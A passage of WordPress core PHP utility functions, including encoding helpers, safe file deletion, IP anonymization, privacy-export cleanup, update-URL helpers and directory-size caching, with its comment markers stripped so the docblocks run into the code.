'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) { return 'ISO-8859-1'; } return $charset; } * * Sets the mbstring internal encoding to a binary safe encoding when func_overload * is enabled. * * When mbstring.func_overload is in use for multi-byte encodings, the results from * strlen() and similar functions respect the utf8 characters, causing binary data * to return incorrect lengths. * * This function overrides the mbstring encoding to a binary-safe encoding, and * resets it to the users expected encoding afterwards through the * `reset_mbstring_encoding` function. * * It is safe to recursively call this function, however each * `mbstring_binary_safe_encoding()` call must be followed up with an equal number * of `reset_mbstring_encoding()` calls. * * @since 3.7.0 * * @see reset_mbstring_encoding() * * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding. * Default false. function mbstring_binary_safe_encoding( $reset = false ) { static $encodings = array(); static $overloaded = null; if ( is_null( $overloaded ) ) { if ( function_exists( 'mb_internal_encoding' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $overloaded = true; } else { $overloaded = false; } } if ( false === $overloaded ) { return; } if ( ! $reset ) { $encoding = mb_internal_encoding(); array_push( $encodings, $encoding ); mb_internal_encoding( 'ISO-8859-1' ); } if ( $reset && $encodings ) { $encoding = array_pop( $encodings ); mb_internal_encoding( $encoding ); } } * * Resets the mbstring internal encoding to a users previously set encoding. * * @see mbstring_binary_safe_encoding() * * @since 3.7.0 function reset_mbstring_encoding() { mbstring_binary_safe_encoding( true ); } * * Filters/validates a variable as a boolean. * * Alternative to `filter_var( $value, FILTER_VALIDATE_BOOLEAN )`. * * @since 4.0.0 * * @param mixed $value Boolean value to validate. * @return bool Whether the value is validated. function wp_validate_boolean( $value ) { if ( is_bool( $value ) ) { return $value; } if ( is_string( $value ) && 'false' === strtolower( $value ) ) { return false; } return (bool) $value; } * * Deletes a file. * * @since 4.2.0 * * @param string $file The path to the file to delete. function wp_delete_file( $file ) { * * Filters the path of the file to delete. * * @since 2.1.0 * * @param string $file Path to the file to delete. $delete = apply_filters( 'wp_delete_file', $file ); if ( ! empty( $delete ) ) { @unlink( $delete ); } } * * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $file Absolute path to the file to delete. * @param string $directory Absolute path to a directory. * @return bool True on success, false on failure. function wp_delete_file_from_directory( $file, $directory ) { if ( wp_is_stream( $file ) ) { $real_file = $file; $real_directory = $directory; } else { $real_file = realpath( wp_normalize_path( $file ) ); $real_directory = realpath( wp_normalize_path( $directory ) ); } if ( false !== $real_file ) { $real_file = wp_normalize_path( $real_file ); } if ( false !== $real_directory ) { $real_directory = wp_normalize_path( $real_directory ); } if ( false === $real_file || false === $real_directory || strpos( $real_file, trailingslashit( $real_directory ) ) !== 0 ) { return false; } wp_delete_file( $file ); return true; } * * Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload. * * This prevents reusing the same tab for a preview when the user has navigated away. * * @since 4.3.0 * * @global WP_Post $post Global post object. function wp_post_preview_js() { global $post; if ( ! is_preview() || empty( $post ) ) { return; } Has to match the window name used in post_submit_meta_box(). $name = 'wp-preview-' . (int) $post->ID; ?> <script> ( function() { var query = document.location.search; if ( query && query.indexOf( 'preview=true' ) !== -1 ) { window.name = '<?php echo $name; ?>'; } if ( window.addEventListener ) { window.addEventListener( 'unload', function() { window.name = ''; }, false ); } }()); </script> <?php } * * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601 (Y-m-d\TH:i:s). * * Explicitly strips timezones, as datetimes are not saved with any timezone * information. Including any information on the offset could be misleading. * * Despite historical function name, the output does not conform to RFC3339 format, * which must contain timezone. * * @since 4.4.0 * * @param string $date_string Date string to parse and format. * @return string Date formatted for ISO8601 without time zone. function mysql_to_rfc3339( $date_string ) { return mysql2date( 'Y-m-d\TH:i:s', $date_string, false ); } * * Attempts to raise the PHP memory limit for memory intensive processes. * * Only allows raising the existing limit and prevents lowering it. * * @since 4.6.0 * * @param string $context Optional. Context in which the function is called. Accepts either 'admin', * 'image', or an arbitrary other context. If an arbitrary context is passed, * the similarly arbitrary {@see '$context_memory_limit'} filter will be * invoked. Default 'admin'. * @return int|string|false The limit that was set or false on failure. function wp_raise_memory_limit( $context = 'admin' ) { Exit early if the limit cannot be changed. if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { return false; } $current_limit = ini_get( 'memory_limit' ); $current_limit_int = wp_convert_hr_to_bytes( $current_limit ); if ( -1 === $current_limit_int ) { return false; } $wp_max_limit = WP_MAX_MEMORY_LIMIT; $wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit ); $filtered_limit = $wp_max_limit; switch ( $context ) { case 'admin': * * Filters the maximum memory limit available for administration screens. * * This only applies to administrators, who may require more memory for tasks * like updates. Memory limits when processing images (uploaded or edited by * users of any role) are handled separately. * * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory * limit available when in the administration back end. The default is 256M * (256 megabytes of memory) or the original `memory_limit` php.ini value if * this is higher. * * @since 3.0.0 * @since 4.6.0 The default now takes the original `memory_limit` into account. * * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer * (bytes), or a shorthand string notation, such as '256M'. $filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit ); break; case 'image': * * Filters the memory limit allocated for image manipulation. * * @since 3.5.0 * @since 4.6.0 The default now takes the original `memory_limit` into account. * * @param int|string $filtered_limit Maximum memory limit to allocate for images. * Default `WP_MAX_MEMORY_LIMIT` or the original * php.ini `memory_limit`, whichever is higher. * Accepts an integer (bytes), or a shorthand string * notation, such as '256M'. $filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit ); break; default: * * Filters the memory limit allocated for arbitrary contexts. * * The dynamic portion of the hook name, `$context`, refers to an arbitrary * context passed on calling the function. This allows for plugins to define * their own contexts for raising the memory limit. * * @since 4.6.0 * * @param int|string $filtered_limit Maximum memory limit to allocate for images. * Default '256M' or the original php.ini `memory_limit`, * whichever is higher. Accepts an integer (bytes), or a * shorthand string notation, such as '256M'. $filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit ); break; } $filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit ); if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) { if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) { return $filtered_limit; } else { return false; } } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) { if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) { return $wp_max_limit; } else { return false; } } return false; } * * Generates a random UUID (version 4). * * @since 4.7.0 * * @return string UUID. function wp_generate_uuid4() { return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0x0fff ) | 0x4000, mt_rand( 0, 0x3fff ) | 0x8000, mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); } * * Validates that a UUID is valid. * * @since 4.9.0 * * @param mixed $uuid UUID to check. * @param int $version Specify which version of UUID to check against. Default is none, * to accept any UUID version. Otherwise, only version allowed is `4`. * @return bool The string is a valid UUID or false on failure. function wp_is_uuid( $uuid, $version = null ) { if ( ! is_string( $uuid ) ) { return false; } if ( is_numeric( $version ) ) { if ( 4 !== (int) $version ) { _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' ); return false; } $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/'; } else { $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/'; } return (bool) preg_match( $regex, $uuid ); } * * Gets unique ID. * * This is a PHP implementation of Underscore's uniqueId method. A static variable * contains an integer that is incremented with each call. This number is returned * with the optional prefix. As such the returned value is not universally unique, * but it is unique across the life of the PHP process. * * @since 5.0.3 * * @param string $prefix Prefix for the returned ID. * @return string Unique ID. function wp_unique_id( $prefix = '' ) { static $id_counter = 0; return $prefix . (string) ++$id_counter; } * * Gets last changed date for the specified cache group. * * @since 4.7.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp with microseconds representing when the group was last changed. function wp_cache_get_last_changed( $group ) { $last_changed = wp_cache_get( 'last_changed', $group ); if ( ! $last_changed ) { $last_changed = microtime(); wp_cache_set( 'last_changed', $last_changed, $group ); } return $last_changed; } * * Sends an email to the old site admin email address when the site admin email address changes. * * @since 4.9.0 * * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. * @param string $option_name The relevant database option name. function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) { $send = true; Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } * * Filters whether to send the site admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email ); if ( ! $send ) { return; } translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. $email_change_text = __( 'Hi, This notice confirms that the admin email address was changed on ###SITENAME###. The new admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, translators: Site admin email change notification email subject. %s: Site title. 'subject' => __( '[%s] Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); Get site name. $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); * * Filters the contents of the email notification sent when the site admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old site admin email address. * - ###NEW_EMAIL### The new site admin email address. * - ###SITENAME### The name of the site. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $site_name ), $email_change_email['message'], $email_change_email['headers'] ); } * * Returns an anonymized IPv4 or IPv6 address. * * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`. * * @param string $ip_addr The IPv4 or IPv6 address to be anonymized. * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions * to anonymize it are not present. Default false, return `::` (unspecified address). * @return string The anonymized IP address. function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) { if ( empty( $ip_addr ) ) { return '0.0.0.0'; } Detect what kind of IP address this is. $ip_prefix = ''; $is_ipv6 = substr_count( $ip_addr, ':' ) > 1; $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) ); if ( $is_ipv6 && $is_ipv4 ) { IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4. $ip_prefix = '::ffff:'; $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr ); $ip_addr = str_replace( ']', '', $ip_addr ); $is_ipv6 = false; } if ( $is_ipv6 ) { IPv6 addresses will always be enclosed in [] if there's a port. $left_bracket = strpos( $ip_addr, '[' ); $right_bracket = strpos( $ip_addr, ']' ); $percent = strpos( $ip_addr, '%' ); $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000'; Strip the port (and [] from IPv6 addresses), if they exist. if ( false !== $left_bracket && false !== $right_bracket ) { $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 ); } elseif ( false !== $left_bracket || false !== $right_bracket ) { The IP has one bracket, but not both, so it's malformed. return '::'; } Strip the reachability scope. if ( false !== $percent ) { $ip_addr = substr( $ip_addr, 0, $percent ); } No invalid characters should be left. if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) { return '::'; } Partially anonymize the IP by reducing it to the corresponding network ID. if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) { $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) ); if ( false === $ip_addr ) { return '::'; } } elseif ( ! $ipv6_fallback ) { return '::'; } } elseif ( $is_ipv4 ) { Strip any port and partially anonymize the IP. $last_octet_position = strrpos( $ip_addr, '.' ); $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0'; } else { return '0.0.0.0'; } Restore the IPv6 prefix to compatibility mode addresses. return $ip_prefix . $ip_addr; } * * Returns uniform "anonymous" data by type. * * @since 4.9.6 * * @param string $type The type of data to be anonymized. * @param string $data Optional. The data to be anonymized. Default empty string. * @return string The anonymous data for the requested type. function wp_privacy_anonymize_data( $type, $data = '' ) { switch ( $type ) { case 'email': $anonymous = 'deleted@site.invalid'; break; case 'url': $anonymous = 'https:site.invalid'; break; case 'ip': $anonymous = wp_privacy_anonymize_ip( $data ); break; case 'date': $anonymous = '0000-00-00 00:00:00'; break; case 'text': translators: Deleted text. $anonymous = __( '[deleted]' ); break; case 'longtext': translators: Deleted long text. $anonymous = __( 'This content was deleted by the author.' ); break; default: $anonymous = ''; break; } * * Filters the anonymous data for each type. * * @since 4.9.6 * * @param string $anonymous Anonymized data. * @param string $type Type of the data. * @param string $data Original data. return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data ); } * * Returns the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_url * * @return string Exports directory. function wp_privacy_exports_dir() { $upload_dir = wp_upload_dir(); $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/'; * * Filters the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory * via this filter should be reflected on the server. * * @param string $exports_dir Exports directory. return apply_filters( 'wp_privacy_exports_dir', $exports_dir ); } * * Returns the URL of the directory used to store personal data export files. * * @since 4.9.6 * * @see wp_privacy_exports_dir * * @return string Exports directory URL. function wp_privacy_exports_url() { $upload_dir = wp_upload_dir(); $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/'; * * Filters the URL of the directory used to store personal data export files. * * @since 4.9.6 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL * via this filter should be reflected on the server. * * @param string $exports_url Exports directory URL. return apply_filters( 'wp_privacy_exports_url', $exports_url ); } * * Schedules a `WP_Cron` job to delete expired export files. * * @since 4.9.6 function wp_schedule_delete_old_privacy_export_files() { if ( wp_installing() ) { return; } if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) { wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' ); } } * * Cleans up export files older than three days old. * * The export files are stored in `wp-content/uploads`, and are therefore publicly * accessible. A CSPRN is appended to the filename to mitigate the risk of an * unauthorized person downloading the file, but it is still possible. Deleting * the file after the data subject has had a chance to delete it adds an additional * layer of protection. * * @since 4.9.6 function wp_privacy_delete_old_export_files() { $exports_dir = wp_privacy_exports_dir(); if ( ! is_dir( $exports_dir ) ) { return; } require_once ABSPATH . 'wp-admin/includes/file.php'; $export_files = list_files( $exports_dir, 100, array( 'index.php' ) ); * * Filters the lifetime, in seconds, of a personal data export file. * * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically * be deleted by a cron job. * * @since 4.9.6 * * @param int $expiration The expiration age of the export, in seconds. $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS ); foreach ( (array) $export_files as $export_file ) { $file_age_in_seconds = time() - filemtime( $export_file ); if ( $expiration < $file_age_in_seconds ) { unlink( $export_file ); } } } * * Gets the URL to learn more about updating the PHP version the site is running on. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.1.0 * * @return string URL to learn more about updating PHP. function wp_get_update_php_url() { $default_url = wp_get_default_update_php_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) { $update_url = getenv( 'WP_UPDATE_PHP_URL' ); } * * Filters the URL to learn more about updating the PHP version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.1.0 * * @param string $update_url URL to learn more about updating PHP. $update_url = apply_filters( 'wp_update_php_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } * * Gets the default URL to learn more about updating the PHP version the site is running on. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.1.0 * @access private * * @return string Default URL to learn more about updating PHP. function wp_get_default_update_php_url() { return _x( 'https:wordpress.org/support/update-php/', 'localized PHP upgrade information page' ); } * * Prints the default annotation for the web host altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to display a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.1.0 * @since 5.2.0 Added the `$before` and `$after` parameters. * * @param string $before Markup to output before the annotation. Default `<p class="description">`. * @param string $after Markup to output after the annotation. Default `</p>`. function wp_update_php_annotation( $before = '<p class="description">', $after = '</p>' ) { $annotation = wp_get_update_php_annotation(); if ( $annotation ) { echo $before . $annotation . $after; } } * * Returns the default annotation for the web hosting altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to return a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.2.0 * * @return string Update PHP page annotation. An empty string if no custom URLs are provided. function wp_get_update_php_annotation() { $update_url = wp_get_update_php_url(); $default_url = wp_get_default_update_php_url(); if ( $update_url === $default_url ) { return ''; } $annotation = sprintf( translators: %s: Default Update PHP page URL. __( 'This resource is provided by your web host, and is specific to your site. For more information, <a href="%s" target="_blank">see the official WordPress documentation</a>.' ), esc_url( $default_url ) ); return $annotation; } * * Gets the URL for directly updating the PHP version the site is running on. * * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to * the page where they can update PHP to a newer version. * * @since 5.1.1 * * @return string URL for directly updating PHP or empty string. function wp_get_direct_php_update_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' ); } * * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.1.1 * * @param string $direct_update_url URL for directly updating PHP. $direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url ); return $direct_update_url; } * * Displays a button directly linking to a PHP update process. * * This provides hosts with a way for users to be sent directly to their PHP update process. * * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`. * * @since 5.1.1 function wp_direct_php_update_button() { $direct_update_url = wp_get_direct_php_update_url(); if ( empty( $direct_update_url ) ) { return; } echo '<p class="button-container">'; printf( '<a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>', esc_url( $direct_update_url ), __( 'Update PHP' ), translators: Hidden accessibility text. __( '(opens in a new tab)' ) ); echo '</p>'; } * * Gets the URL to learn more about updating the site to use HTTPS. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.7.0 * * @return string URL to learn more about updating to HTTPS. function wp_get_update_https_url() { $default_url = wp_get_default_update_https_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) { $update_url = getenv( 'WP_UPDATE_HTTPS_URL' ); } * * Filters the URL to learn more about updating the HTTPS version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.7.0 * * @param string $update_url URL to learn more about updating HTTPS. $update_url = apply_filters( 'wp_update_https_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } * * Gets the default URL to learn more about updating the site to use HTTPS. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.7.0 * @access private * * @return string Default URL to learn more about updating to HTTPS. function wp_get_default_update_https_url() { translators: Documentation explaining HTTPS and why it should be used. return __( 'https:wordpress.org/documentation/article/why-should-i-use-https/' ); } * * Gets the URL for directly updating the site to use HTTPS. * * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to * the page where they can update their site to use HTTPS. * * @since 5.7.0 * * @return string URL for directly updating to HTTPS or empty string. function wp_get_direct_update_https_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ); } * * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.7.0 * * @param string $direct_update_url URL for directly updating PHP. $direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url ); return $direct_update_url; } * * Gets the size of a directory. * * A helper function that is used primarily to check whether * a blog has exceeded its allowed upload space. * * @since MU (3.0.0) * @since 5.2.0 $max_execution_time parameter added. * * @param string $directory Full path of a directory. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment WordPress started to load. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. function get_dirsize( $directory, $max_execution_time = null ) { Exclude individual site directories from the total when checking the main site of a network, as they are subdirectories and should not be counted. if ( is_multisite() && is_main_site() ) { $size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time ); } else { $size = recurse_dirsize( $directory, null, $max_execution_time ); } return $size; } * * Gets the size of a directory recursively. * * Used by get_dirsize() to get a directory size when it contains other directories. * * @since MU (3.0.0) * @since 4.3.0 The `$exclude` parameter was added. * @since 5.2.0 The `$max_execution_time` parameter was added. * @since 5.6.0 The `$directory_cache` parameter was added. * * @param string $directory Full path of a directory. * @param string|string[] $exclude Optional. Full path of a subdirectory to exclude from the total, * or array of paths. Expected without trailing slash(es). * Default null. * @param int $max_execution_time Optional. Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment * WordPress started to load. Defaults to the value of * `max_execution_time` PHP setting. * @param array $directory_cache Optional. Array of cached directory paths. * Defaults to the value of `dirsize_cache` transient. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) { $directory = untrailingslashit( $directory ); $save_cache = false; if ( ! isset( $directory_cache ) ) { $directory_cache = get_transient( 'dirsize_cache' ); $save_cache = true; } if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) { return $directory_cache[ $directory ]; } if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) { return false; } if ( ( is_string( $exclude ) && $directory === $exclude ) || ( is_array( $exclude ) && in_array( $directory, $exclude, true ) ) ) { return false; } if ( null === $max_execution_time ) { Keep the previous behavior but attempt to prevent fatal errors from timeout if possible. if ( function_exists( 'ini_get' ) ) { $max_execution_time = ini_get( 'max_execution_time' ); } else { Disable... $max_execution_time = 0; } Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value. if ( $max_execution_time > 10 ) { $max_execution_time -= 1; } } * * Filters the amount of storage space used by one directory and all its children, in megabytes. * * Return the actual used space to short-circuit the recursive PHP file size calculation * and use something else, like a CDN API or native operating system tools for better performance. * * @since 5.6.0 * * @param int|false $space_used The amount of used space, in bytes. Default false. * @param string $directory Full path of a directory. * @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total, * or array of paths. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * @param array $directory_cache Array of cached directory paths. $size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache ); if ( false === $size ) { $size = 0; $handle = opendir( $directory ); if ( $handle ) { while ( ( $file = readdir( $handle ) ) !== false ) { $path = $directory . '/' . $file; if ( '.' !== $file && '..' !== $file ) { if ( is_file( $path ) ) { $size += filesize( $path ); } elseif ( is_dir( $path ) ) { $handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache ); if ( $handlesize > 0 ) { $size += $handlesize; } } if ( $max_execution_time > 0 && ( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time ) { Time exceeded. Give up instead of risking a fatal timeout. $size = null; break; } } } closedir( $handle ); } } if ( ! is_array( $directory_cache ) ) { $directory_cache = array(); } $directory_cache[ $directory ] = $size; Only write the transient on the top level call and not on recursive calls. if ( $save_cache ) { set_transient( 'dirsize_cache', $directory_cache ); } return $size; } * * Cleans directory size cache used by recurse_dirsize(). * * Removes the current directory and all parent directories from the `dirsize_cache` transient. * * @since 5.6.0 * @since 5.9.0 Added input validation with a notice for invalid input. * * @param string $path Full path of a directory or file. function clean_dirsize_cache( $path ) { if ( ! is_string( $path ) || empty( $path ) ) { trigger_error( sprintf( translators: 1: Function name, 2: A variable type, like "boolean" or "integer". __( '%1$s only accepts a non-empty path string, received %2$s.' ), '<code>clean_dirsize_cache()</code>', '<code>' . gettype( $path ) . '</code>' ) ); return; } $directory_cache = get_transient( 'dirsize_cache' ); if ( empty( $directory_cache ) ) { return; } if ( strpos( $path, '/' ) === false && strpos( $path, '\\' ) === false ) { unset( $directory_cache[ $path ] ); set_transient( 'dirsize_cache', $directory_cache ); return; } $last_path = null; $path = untrailingslashit( $path ); unset( $directory_cache[ $path ] ); while ( $last_path !== $path && DIRECTORY_SEPARATOR !== $path && '.' !== $path && '..' !== $path ) { $last_path = $path; $path = dirname( $path ); unset( $directory_cache[ $path ] ); } set_transient( 'dirsize_cache', $directory_cache ); } * * Checks compatibility with the current WordPress version. * * @since 5.2.0 * * @global string $wp_version The WordPress version string. * * @param string $required Minimum required WordPress version. * @return bool True if required version is compatible or empty, false if not. function is_wp_version_compatible( $required ) { global $wp_version; Strip off any -alpha, -RC, -beta, -src suffixes. list( $version ) = explode( '-', $wp_version ); return empty( $required ) || version_compare( $version, $required, '>=' ); } * * Checks compatibility with the current PHP version. * * @since 5.2.0 * * @param string $required Minimum required PHP version. * @return bool True if required version is compatible or empty, false if not. function is_php_version_compatible( $required ) { return empty( $required ) || version_compare( PHP_VERSION, $required, '>=' ); } * * Checks if two numbers are nearly the same. * * This is similar to using `round()` but the precision is more fine-grained. * * @since 5.3.0 * * @param int|float $expected The expected value. * @param int|float $actual The actual number. * @param int|float $precision The allowed variation. * @return bool Whether the numbers match within the specified precision. function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) { return abs( (float) $expected - (float) $actual ) <= $precision; } */